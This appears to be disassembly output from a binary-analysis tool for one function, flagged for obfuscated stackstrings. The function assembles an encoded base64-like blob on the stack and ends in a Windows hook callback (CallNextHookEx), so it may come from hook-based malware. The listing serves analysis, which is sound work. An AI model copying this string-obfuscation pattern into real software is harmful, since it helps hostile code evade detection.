Function at 0x1401dc27
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xd50
mov eax, 0x1404cc8c
call fcn.1401f0fd
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.140219b0
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.140137d3
push eax
lea ecx, [ebp - 0xc80]
call fcn.1401067c
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1401dfea
cmp dword [edi + 8], 0x4a
jne 0x1401dfea
mov esi, dword [edi]
test esi, esi
je 0x1401dfea
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1401dfdc
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
push 0x64
pop eax
mov byte [ebp - 0xcfe], al
mov ecx, 0x30a
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xca6], al
lea eax, [ebp - 0xb53]
push eax
lea eax, [ebp - 0xc7c]
mov dword [ebp - 0xd48], 0x6f51444e
push eax
lea eax, [ebp - 0xc57]
movsw word es:[edi], word [esi]
push eax
push ebx
sub esp, 0xc
mov dword [ebp - 0xd44], 0x30305742
mov ecx, esp
mov dword [ebp - 0xd40], 0x30633347
lea eax, [ebp - 0xc82]
mov dword [ebp - 0xd3c], 0x696b6d42
mov dword [ebp - 0xd38], 0x3656774d
push dword [ebp - 0xd4c]
mov dword [ebp - 0xd34], 0x57457941
push eax
mov dword [ebp - 0xd30], 0x55734146
lea eax, [ebp - 0xd48]
mov dword [ebp - 0xd2c], 0x496f7949
mov dword [ebp - 0xd28], 0x384e544b
mov dword [ebp - 0xd24], 0x59305150
mov dword [ebp - 0xd20], 0x546b7a4f
mov dword [ebp - 0xd1c], 0x2b596948
mov dword [ebp - 0xd18], 0x2f74794b
mov dword [ebp - 0xd14], 0x5463674b
mov dword [ebp - 0xd10], 0x38555441
mov dword [ebp - 0xd0c], 0x70596763
mov dword [ebp - 0xd08], 0x6c70544e
mov dword [ebp - 0xd04], 0x54557943
mov word [ebp - 0xd00], 0x7748
mov dword [ebp - 0xcfd], 0x417a486d
mov dword [ebp - 0xcf9], 0x516d4c39
mov dword [ebp - 0xcf5], 0x396a4553
mov dword [ebp - 0xcf1], 0x49474633
mov dword [ebp - 0xced], 0x4d41626c
mov dword [ebp - 0xce9], 0x51796365
mov dword [ebp - 0xce5], 0x51776338
mov dword [ebp - 0xce1], 0x74774875
mov dword [ebp - 0xcdd], 0x5958446d
mov dword [ebp - 0xcd9], 0x6b444541
mov dword [ebp - 0xcd5], 0x4944494c
mov dword [ebp - 0xcd1], 0x566d626d
mov dword [ebp - 0xccd], 0x73335071
mov dword [ebp - 0xcc9], 0x6b784c53
mov dword [ebp - 0xcc5], 0x74684775
mov dword [ebp - 0xcc1], 0x7732456a
mov dword [ebp - 0xcbd], 0x4d776349
mov dword [ebp - 0xcb9], 0x34334478
mov dword [ebp - 0xcb5], 0x6f436646
mov dword [ebp - 0xcb1], 0x636d4c55
mov dword [ebp - 0xcad], 0x4d424e32
mov word [ebp - 0xca9], 0x4732
mov byte [ebp - 0xca7], 0x69
mov dword [ebp - 0xca5], 0x6f544371
mov dword [ebp - 0xca1], 0x4168486a
mov dword [ebp - 0xc9d], 0x42514d39
mov dword [ebp - 0xc99], 0x51774d6b
mov dword [ebp - 0xc95], 0x676a4451
mov dword [ebp - 0xc91], 0x6c54434c
mov dword [ebp - 0xc8d], 0x6c674b76
mov dword [ebp - 0xc89], 0x4141416a
mov word [ebp - 0xc85], 0x6841
mov byte [ebp - 0xc83], 0x41
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1400fecf
lea eax, [ebp - 0xd5c]
push eax
call fcn.14012e1d
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1401c864
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.140132c2
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd5c]
call fcn.1401c6ac
push 0x3c
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.140219b0
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.140107f5
lea ecx, [ebp - 0x50]
call fcn.140108cb
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.1401178b
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.1401178b
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.1401178b
mov esi, dword [ebp - 0xc80]
lea eax, [ebp - 0x50]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0xd4c], esp
push esi
call fcn.140107f5
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.14010767
mov byte [ebp - 4], 3
call fcn.1401869e
add esp, 0xc
call fcn.140296f9
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1401dfcf
lea eax, [ebp - 0x50]
push eax
call fcn.14017303
pop ecx
lea ecx, [ebp - 0x50]
call fcn.14011414
lea ecx, [esi - 0x10]
jmp 0x1401e001
cmp eax, 0x4d835
jne 0x1401dfea
push ebx
call fcn.1401b26b
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.14016fdf
call fcn.1401f04a
ret 0xc